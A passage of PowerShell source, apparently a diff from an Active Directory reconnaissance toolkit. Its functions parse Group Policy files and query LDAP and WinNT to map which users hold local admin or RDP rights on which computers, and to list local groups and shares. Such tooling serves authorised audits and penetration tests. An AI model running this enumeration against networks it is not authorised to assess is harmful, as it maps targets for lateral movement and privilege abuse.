$PropertyValues = $PropertyValues.split(',') + } + + if(!$SectionsTemp[$SectionName]) { + $SectionsTemp.Add($SectionName, @{}) + } + + # add the parsed property into the relevant Section name + $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) + } + } + + ForEach ($Section in $SectionsTemp.keys) { + # transform each nested hash table into a custom object + $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] + } + + # transform the parent hash table into a custom object + New-Object PSObject -Property $SectionsFinal + } + } + catch { + Write-Debug "Error parsing $GptTmplPath : $_" + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + } + } +} + + +function Get-GroupsXML { +<# + .SYNOPSIS + + Helper to parse a groups.xml file path into a custom object. + + .PARAMETER GroupsXMLpath + + The groups.xml file path name to parse. + + .PARAMETER ResolveSids + + Switch. Resolve Sids from a DC policy to object names. + + .PARAMETER UsePSDrive + + Switch. Mount the target groups.xml folder path as a temporary PSDrive. + +#> + + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $GroupsXMLPath, + + [Switch] + $ResolveSids, + + [Switch] + $UsePSDrive + ) + + begin { + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GroupsXMLPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Debug "Error mounting path $GroupsXMLPath : $_" + return $Null + } + + # so we can cd/dir the new drive + $GroupsXMLPath = $RandDrive + ":\" + $FilePath + } + } + + process { + + # parse the Groups.xml file if it exists + if(Test-Path $GroupsXMLPath) { + + [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath + + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { + + $Members = @() + $MemberOf = @() + + # extract the localgroup sid for memberof + $LocalSid = $_.Properties.GroupSid + if(!$LocalSid) { + if($_.Properties.groupName -match 'Administrators') { + $LocalSid = 'S-1-5-32-544' + } + elseif($_.Properties.groupName -match 'Remote Desktop') { + $LocalSid = 'S-1-5-32-555' + } + else { + $LocalSid = $_.Properties.groupName + } + } + $MemberOf = @($LocalSid) + + $_.Properties.members | ForEach-Object { + # process each member of the above local group + $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + + if($_.sid) { + $Members += $_.sid + } + else { + # just a straight local account name + $Members += $_.name + } + } + } + + if ($Members -or $Memberof) { + # extract out any/all filters...I hate you GPP + $Filters = $_.filters | ForEach-Object { + $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + } + } + + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} + $Members = $Members | ForEach-Object {Convert-SidToName $_} + } + + if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} + if($Members -isnot [system.array]) {$Members = @($Members)} + + $GPOProperties = @{ + 'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GroupsXMLPath + 'Filters' = $Filters + 'MemberOf' = $Memberof + 'Members' = $Members + } + + New-Object -TypeName PSObject -Property $GPOProperties + } + } + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + } + } +} + + + +function Get-NetGPO { +<# + .SYNOPSIS + + Gets a list of all current GPOs in a domain. + + .PARAMETER GPOname + + The GPO name to query for, wildcards accepted. + + .PARAMETER DisplayName + + The GPO display name to query for, wildcards accepted. + + .PARAMETER Domain + + The domain to query for GPOs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetGPO -Domain testlab.local + + Returns the GPOs in the 'testlab.local' domain. +#> + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $GPOname = '*', + + [String] + $DisplayName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + + ) + + begin { + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + + process { + if ($GPOSearcher) { + if($DisplayName) { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + } + else { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + } + + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + } +} + + +function Get-NetGPOGroup { +<# + .SYNOPSIS + + Returns all GPOs in a domain that set "Restricted Groups" + or use groups.xml on on target machines. + + .PARAMETER GPOname + + The GPO name to query for, wildcards accepted. + + .PARAMETER DisplayName + + The GPO display name to query for, wildcards accepted. + + .PARAMETER ResolveSids + + Switch. Resolve Sids from a DC policy to object names. + + .PARAMETER Domain + + The domain to query for GPOs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .EXAMPLE + + PS C:\> Get-NetGPOGroup + + Get all GPOs that set local groups on the current domain. +#> + + [CmdletBinding()] + Param ( + [String] + $GPOname = '*', + + [String] + $DisplayName, + + [Switch] + $ResolveSids, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + # get every GPO from the specified domain with restricted groups set + Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | Foreach-Object { + + $Memberof = $Null + $Members = $Null + $GPOdisplayName = $_.displayname + $GPOname = $_.name + $GPOPath = $_.gpcfilesyspath + + $ParseArgs = @{ + 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + 'UsePSDrive' = $UsePSDrive + } + + # parse the GptTmpl.inf 'Restricted Groups' file if it exists + $Inf = Get-GptTmpl @ParseArgs + + if($Inf.GroupMembership) { + + $Memberof = $Inf.GroupMembership | Get-Member *Memberof | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } + $Members = $Inf.GroupMembership | Get-Member *Members | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } + + # only return an object if Members are found + if ($Members -or $Memberof) { + + # if there is no Memberof defined, assume local admins + if(!$Memberof) { + $Memberof = 'S-1-5-32-544' + } + + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} + $Members = $Members | ForEach-Object {Convert-SidToName $_} + } + + if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} + if($Members -isnot [system.array]) {$Members = @($Members)} + + $GPOProperties = @{ + 'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GPOPath + 'Filters' = $Null + 'MemberOf' = $Memberof + 'Members' = $Members + } + + New-Object -TypeName PSObject -Property $GPOProperties + } + } + + $ParseArgs = @{ + 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" + 'ResolveSids' = $ResolveSids + 'UsePSDrive' = $UsePSDrive + } + + Get-GroupsXML @ParseArgs + } +} + + +function Find-GPOLocation { +<# + .SYNOPSIS + + Takes a user/group name and optional domain, and determines + the computers in the domain the user/group has local admin + (or RDP) rights to. + + It does this by: + 1. resolving the user/group to its proper sid + 2. enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. pulling all GPOs that set 'Restricted Groups' by calling + Get-NetGPOGroup + 4. matching the target sid list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. querying for all computers under the given OUs or sites + + .PARAMETER UserName + + A (single) user name name to query for access. + + .PARAMETER GroupName + + A (single) group name name to query for access. + + .PARAMETER Domain + + Optional domain the user exists in for querying, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LocalGroup + + The local group to check access against. + Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), + or a custom local SID. Defaults to local 'Administrators'. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName dfm + + Find all computers that dfm user has local administrator rights to in + the current domain. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local + + Find all computers that dfm user has local administrator rights to in + the dev.testlab.local domain. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP + + Find all computers that jason has local RDP access rights to in the domain. +#> + + [CmdletBinding()] + Param ( + [String] + $UserName, + + [String] + $GroupName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $LocalGroup = 'Administrators', + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if($UserName) { + + $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize + $UserSid = $User.objectsid + + if(!$UserSid) { + Throw "User '$UserName' not found!" + } + + $TargetSid = $UserSid + $ObjectSamAccountName = $User.samaccountname + $ObjectDistName = $User.distinguishedname + } + elseif($GroupName) { + + $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + $GroupSid = $Group.objectsid + + if(!$GroupSid) { + Throw "Group '$GroupName' not found!" + } + + $TargetSid = $GroupSid + $ObjectSamAccountName = $Group.samaccountname + $ObjectDistName = $Group.distinguishedname + } + else { + throw "-UserName or -GroupName must be specified!" + } + + if($LocalGroup -like "*Admin*") { + $LocalSID = "S-1-5-32-544" + } + elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { + $LocalSID = "S-1-5-32-555" + } + elseif ($LocalGroup -like "S-1-5*") { + $LocalSID = $LocalGroup + } + else { + throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' type sid." + } + + Write-Verbose "LocalSid: $LocalSID" + Write-Verbose "TargetSid: $TargetSid" + Write-Verbose "TargetObjectDistName: $ObjectDistName" + + if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } + + # use the tokenGroups approach from Get-NetGroup to get all effective + # security SIDs this object is a part of + $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids + + if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } + + Write-Verbose "Effective target sids: $TargetSid" + + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'UsePSDrive' = $UsePSDrive + 'PageSize' = $PageSize + } + + # get all GPO groups, and filter on ones that match our target SID list + # and match the target local sid memberof list + $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { + + if ($_.members) { + $_.members = $_.members | Where-Object {$_} | ForEach-Object { + if($_ -match "S-1-5") { + $_ + } + else { + # if there are any plain group names, try to resolve them to sids + Convert-NameToSid -ObjectName $_ -Domain $Domain + } + } + + # stop PowerShell 2.0's string stupid unboxing + if($_.members -isnot [system.array]) { $_.members = @($_.members) } + if($_.memberof -isnot [system.array]) { $_.memberof = @($_.memberof) } + + if($_.members) { + try { + # only return groups that contain a target sid + + # TODO: fix stupid weird "-DifferenceObject" is null error + if( (Compare-Object -ReferenceObject $_.members -DifferenceObject $TargetSid -IncludeEqual -ExcludeDifferent) ) { + if ($_.memberof -contains $LocalSid) { + $_ + } + } + } + catch { + Write-Debug "Error comparing members and $TargetSid : $_" + } + } + } + } + + Write-Verbose "GPOgroups: $GPOgroups" + $ProcessedGUIDs = @{} + + # process the matches and build the result objects + $GPOgroups | Where-Object {$_} | ForEach-Object { + + $GPOguid = $_.GPOName + + if( -not $ProcessedGUIDs[$GPOguid] ) { + $GPOname = $_.GPODisplayName + $Filters = $_.Filters + + # find any OUs that have this GUID applied + Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { + + if($Filters) { + # filter for computer name/org unit if a filter is specified + # TODO: handle other filters? + $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { + $_.adspath -match ($Filters.Value) + } | ForEach-Object { $_.dnshostname } + } + else { + $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -PageSize $PageSize + } + + $GPOLocation = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectName' $ObjectDistName + $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname + $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid + $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers + $GPOLocation + } + + # find any sites that have this GUID applied + # TODO: fix, this isn't the correct way to query computers from a site... + # Get-NetSite -GUID $GPOguid -FullData | Foreach-Object { + # if($Filters) { + # # filter for computer name/org unit if a filter is specified + # # TODO: handle other filters? + # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath -FullData | ? { + # $_.adspath -match ($Filters.Value) + # } | Foreach-Object {$_.dnshostname} + # } + # else { + # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath + # } + + # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath + # $out = New-Object PSObject + # $out | Add-Member Noteproperty 'Object' $ObjectDistName + # $out | Add-Member Noteproperty 'GPOname' $GPOname + # $out | Add-Member Noteproperty 'GPOguid' $GPOguid + # $out | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + # $out | Add-Member Noteproperty 'Computers' $OUComputers + # $out + # } + + # mark off this GPO GUID so we don't process it again if there are dupes + $ProcessedGUIDs[$GPOguid] = $True + } + } + +} + + +function Find-GPOComputerAdmin { +<# + .SYNOPSIS + + Takes a computer (or GPO) object and determines what users/groups have + administrative access over it. + + Inverse of Find-GPOLocation. + + .PARAMETER ComputerName + + The computer to determine local administrative access to. + + .PARAMETER OUName + + OU name to determine who has local adminisrtative acess to computers + within it. + + .PARAMETER Domain + + Optional domain the computer/OU exists in, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER Recurse + + Switch. If a returned member is a group, recurse and get all members. + + .PARAMETER LocalGroup + + The local group to check access against. + Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), + or a custom local SID. + Defaults to local 'Administrators'. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local + + Finds users who have local admin rights over WINDOWS3 through GPO correlation. + + .EXAMPLE + + PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP + + Finds users who have RDP rights over WINDOWS3 through GPO correlation. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $ComputerName, + + [String] + $OUName, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $Recurse, + + [String] + $LocalGroup = 'Administrators', + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + process { + + if(!$ComputerName -and !$OUName) { + Throw "-ComputerName or -OUName must be provided" + } + + if($ComputerName) { + $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + + if(!$Computers) { + throw "Computer $Computer in domain '$Domain' not found!" + } + + ForEach($Computer in $Computers) { + # extract all OUs a computer is a part of + $DN = $Computer.distinguishedname + + $TargetOUs = $DN.split(",") | Foreach-Object { + if($_.startswith("OU=")) { + $DN.substring($DN.indexof($_)) + } + } + } + } + else { + $TargetOUs = @($OUName) + } + + Write-Verbose "Target OUs: $TargetOUs" + + $TargetOUs | Where-Object {$_} | Foreach-Object { + + $OU = $_ + + # for each OU the computer is a part of, get the full OU object + $GPOgroups = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | Foreach-Object { + # and then get any GPO links + $_.gplink.split("][") | Foreach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } | Foreach-Object { + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $_ + 'UsePSDrive' = $UsePSDrive + 'PageSize' = $PageSize + } + + # for each GPO link, get any locally set user/group SIDs + Get-NetGPOGroup @GPOGroupArgs + } + + # for each found GPO group, resolve the SIDs of the members + $GPOgroups | Where-Object {$_} | Foreach-Object { + $GPO = $_ + $GPO.members | Foreach-Object { + + # resolvethis SID to a domain object + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.name + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -match '268435456') + $GPOComputerAdmin + + # if we're recursing and the current result object is a group + if($Recurse -and $GPOComputerAdmin.isGroup) { + + Get-NetGroupMember -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object { + + $MemberDN = $_.distinguishedName + + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + if ($_.samAccountType -ne "805306368") { + $MemberIsGroup = $True + } + else { + $MemberIsGroup = $False + } + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } + } + + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $GPOComputerAdmin + } + } + } + } + } + } +} + + +function Get-DomainPolicy { +<# + .SYNOPSIS + + Returns the default domain or DC policy for a given + domain or domain controller. + + Thanks Sean Metacalf (@pyrotek3) for the idea and guidance. + + .PARAMETER Source + + Extract Domain or DC (domain controller) policies. + + .PARAMETER Domain + + The domain to query for default policies, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ResolveSids + + Switch. Resolve Sids from a DC policy to object names. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .EXAMPLE + + PS C:\> Get-NetGPO + + Returns the GPOs in the current domain. +#> + + [CmdletBinding()] + Param ( + [String] + [ValidateSet("Domain","DC")] + $Source ="Domain", + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ResolveSids, + + [Switch] + $UsePSDrive + ) + + if($Source -eq "Domain") { + # query the given domain for the default domain policy object + $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}" + + if($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{ + 'GptTmplPath' = $GptTmplPath + 'UsePSDrive' = $UsePSDrive + } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs + } + + } + elseif($Source -eq "DC") { + # query the given domain/dc for the default domain controller policy object + $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}" + + if($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{ + 'GptTmplPath' = $GptTmplPath + 'UsePSDrive' = $UsePSDrive + } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs | Foreach-Object { + if($ResolveSids) { + # if we're resolving sids in PrivilegeRights to names + $Policy = New-Object PSObject + $_.psobject.properties | Foreach-Object { + if( $_.Name -eq 'PrivilegeRights') { + + $PrivilegeRights = New-Object PSObject + # for every nested SID member of PrivilegeRights, try to + # unpack everything and resolve the SIDs as appropriate + $_.Value.psobject.properties | Foreach-Object { + + $Sids = $_.Value | Foreach-Object { + try { + if($_ -isnot [System.Array]) { + Convert-SidToName $_ + } + else { + $_ | Foreach-Object { Convert-SidToName $_ } + } + } + catch { + Write-Debug "Error resolving SID : $_" + } + } + + $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids + } + + $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights + } + else { + $Policy | Add-Member Noteproperty $_.Name $_.Value + } + } + $Policy + } + else { $_ } + } + } + } +} + + + +######################################################## +# +# Functions that enumerate a single host, either through +# WinNT, WMI, remote registry, or API calls +# (with PSReflect). +# +######################################################## + +function Get-NetLocalGroup { +<# + .SYNOPSIS + + Gets a list of all current users in a specified local group, + or returns the names of all local groups with -ListGroups. + + .PARAMETER ComputerName + + The hostname or IP to query for local group users. + + .PARAMETER ComputerFile + + File of hostnames/IPs to query for local group users. + + .PARAMETER GroupName + + The local group name to query for users. If not given, it defaults to "Administrators" + + .PARAMETER ListGroups + + Switch. List all the local groups instead of their members. + Old Get-NetLocalGroups functionality. + + .PARAMETER Recurse + + Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. + + .EXAMPLE + + PS C:\> Get-NetLocalGroup + + Returns the usernames that of members of localgroup "Administrators" on the local host. + + .EXAMPLE + + PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP + + Returns all the local administrator accounts for WINDOWSXP + + .EXAMPLE + + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Resurse + + Returns all effective local/domain users/groups that can access WINDOWS7 with + local administrative privileges. + + .EXAMPLE + + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups + + Returns all local groups on the WINDOWS7 host. + + .LINK + + http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together + http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost', + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $GroupName = 'Administrators', + + [Switch] + $ListGroups, + + [Switch] + $Recurse + ) + + begin { + if ((-not $ListGroups) -and (-not $GroupName)) { + # resolve the SID for the local admin group - this should usually default to "Administrators" + $ObjSID = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-32-544') + $Objgroup = $ObjSID.Translate( [System.Security.Principal.NTAccount]) + $GroupName = ($Objgroup.Value).Split('\')[1] + } + } + process { + + $Servers = @() + + # if we have a host list passed, grab it + if($ComputerFile) { + $Servers = Get-Content -Path $ComputerFile + } + else { + # otherwise assume a single host name + $Servers += Get-NameField -Object $ComputerName + } + + # query the specified group using the WINNT provider, and + # extract fields as appropriate from the results + ForEach($Server in $Servers) { + try { + if($ListGroups) { + # if we're listing the group names on a remote server + $Computer = [ADSI]"WinNT://$Server,computer" + + $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { + $Group = New-Object PSObject + $Group | Add-Member Noteproperty 'Server' $Server + $Group | Add-Member Noteproperty 'Group' ($_.name[0]) + $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) + $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) + $Group + } + } + else { + # otherwise we're listing the group members + $Members = @($([ADSI]"WinNT://$Server/$GroupName").psbase.Invoke('Members')) + + $Members | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'Server' $Server + + $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') + + # try to translate the NT4 domain to a FQDN if possible + $Name = Convert-NT4toCanonical -ObjectName $AdsPath + if($Name) { + $FQDN = $Name.split("/")[0] + $ObjName = $AdsPath.split("/")[-1] + $Name = "$FQDN/$ObjName" + $IsDomain = $True + } + else { + $Name = $AdsPath + $IsDomain = $False + } + + $Member | Add-Member Noteproperty 'AccountName' $Name + + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) + + # if the account is local, check if it's disabled, if it's domain, always print $False + # TODO: fix this occasinal error? + $Member | Add-Member Noteproperty 'Disabled' $( if(-not $IsDomain) { try { $_.GetType().InvokeMember('AccountDisabled', 'GetProperty', $Null, $_, $Null) } catch { 'ERROR' } } else { $False } ) + + # check if the member is a group + $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + if($IsGroup) { + $Member | Add-Member Noteproperty 'LastLogin' "" + } + else { + try { + $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' "" + } + } + $Member + + # if the result is a group domain object and we're recursing, + # try to resolve all the group member results + if($Recurse -and $IsDomain -and $IsGroup) { + + $FQDN = $Name.split("/")[0] + $GroupName = $Name.split("/")[1].trim() + + Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'Server' "$FQDN/$($_.GroupName)" + + $MemberDN = $_.distinguishedName + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + if ($_.samAccountType -ne "805306368") { + $MemberIsGroup = $True + } + else { + $MemberIsGroup = $False + } + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + try { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } + } + catch { + Write-Debug "Error resolving SID : $_" + } + } + + $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" + $Member | Add-Member Noteproperty 'SID' $_.objectsid + $Member | Add-Member Noteproperty 'Disabled' $False + $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $Member | Add-Member Noteproperty 'IsDomain' $True + $Member | Add-Member Noteproperty 'LastLogin' '' + $Member + } + } + } + } + } + catch { + Write-Warning "[!] Error: $_" + } + } + } +} + + +function Get-NetShare { +<# + .SYNOPSIS + + This function will execute the NetShareEnum Win32API call to query + a given host for open shares. This is a replacement for + "net share \\hostname" + + .PARAMETER ComputerName + + The hostname to query for shares. Also accepts IP addresses. + + .OUTPUTS + + SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 + result structure which includes the name and note for each share. + + .EXAMPLE + + PS C:\> Get-NetShare + + Returns active shares on the local host. + + .EXAMPLE + + PS C:\> Get-NetShare -ComputerName sqlserver + + Returns active shares on the 'sqlserver' host +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + 